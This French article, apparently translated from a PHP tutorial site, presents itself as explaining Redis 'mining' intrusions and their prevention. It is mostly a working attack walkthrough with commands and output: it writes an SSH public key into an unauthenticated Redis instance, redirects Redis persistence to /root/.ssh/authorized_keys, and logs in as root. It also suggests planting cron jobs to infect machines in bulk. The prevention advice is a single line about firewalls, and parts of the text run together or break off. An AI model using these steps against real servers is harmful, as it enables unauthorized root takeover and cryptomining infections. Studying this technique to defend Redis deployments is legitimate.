Maison >base de données >Redis >Une brève analyse des principes du minage Redis et comment l'empêcher (partage de compétences)
Cet article parlera des principes du minage Redis, verra comment l'empêcher et partagera des techniques de prévention. J'espère qu'il sera utile à tout le monde !
L'auteur a également été attaqué par un virus minier, ce qui était très inconfortable, mais en fait, tant que vous comprenez les moyens d'intrusion, il est très facile de l'empêcher. Aujourd'hui, nous allons vous montrer comment l'obtenir. l'utilisateur root du serveur distant en élevant les privilèges via Redis. [Recommandations associées : Tutoriel vidéo Redis]
1. Nous avons d'abord besoin de quelques prérequis
Condition 1 : Vous devez d'abord avoir un Redis, et nous devons connaître son port [par défaut 6379] ;
Condition 2 : Le mot de passe pour Redis ne peut pas être trop complexe, ou il n'y a pas de mot de passe2.1 Créez une paire de clés secrètes
root@kali:/usr/local/src# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/rediskey/id_rsaEnsuite, la valeur de la clé d'attaque est générée via la clé publique
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > foo.txtLe contenu est le suivant
root@kali:/tmp/rediskey# cat foo.txt ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kaliLe but de l'ajout de deux nouvelles lignes avant et après ici est d'empêcher les données d'être connectées ensemble et de provoquer des problèmes d'échec. 2.2 Configurer la clé de Redis
root@kali:/tmp/rediskey# cat foo.txt |redis-cli -h 192.168.243.129 -x set bar OKConnectez-vous à Redis pour vérifier si elle a été écrite dans Redis.
root@kali:/tmp/rediskey# redis-cli -h 192.168.243.129 192.168.243.129:6379> get bar "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali\n\n\n\n"2.3 Remplacer les fichiers système via le mécanisme de sauvegarde Redis
192.168.243.129:6379> config set dir /root/.ssh OK 192.168.243.129:6379> config get dir 1) "dir" 2) "/root/.ssh" 192.168.243.129:6379> config set dbfilename "authorized_keys" OK 192.168.243.129:6379> save OK 192.168.243.129:6379> exitÀ ce stade, nous nous connectons à l'hôte distant pour voir l'effet.
root@kali:/tmp/rediskey# ssh -i id_rsa root@192.168.243.129 The authenticity of host '192.168.243.129 (192.168.243.129)' can't be established. ECDSA key fingerprint is SHA256:XTnAL+b8HB5FL/t3ZlZqt0EfmTBgj7TI5VBU0nSHSGU. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.243.129' (ECDSA) to the list of known hosts. Linux kali 4.19.0-kali3-amd64 #1 SMP Debian 4.19.20-1kali1 (2019-02-14) x86_64 Last login: Sun Apr 14 20:52:40 2019 from 192.168.243.1 root@kali:~# wOK, nous avons maintenant réussi à élever les droits, alors jetons un coup d'œil à ce qu'est le fichier exporté ? En fait, il s'agit simplement du fichier enregistré de Redis. Si vous êtes intéressé, vous pouvez l'ouvrir vous-même et le voir.
3. Comment prévenir
Cette vulnérabilité est assez puissante. Nous n'avons désormais qu'une seule autorisation d'hôte. Que diriez-vous de l'ajouter à une tâche planifiée pour exécuter certains scripts, puis de l'infecter par lots ?
Les conseils de prévention sont les suivants : Redis ne doit pas écouter les adresses IP dangereuses. Si tel est le cas, veuillez ajouter un contrôle de pare-feu ;Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!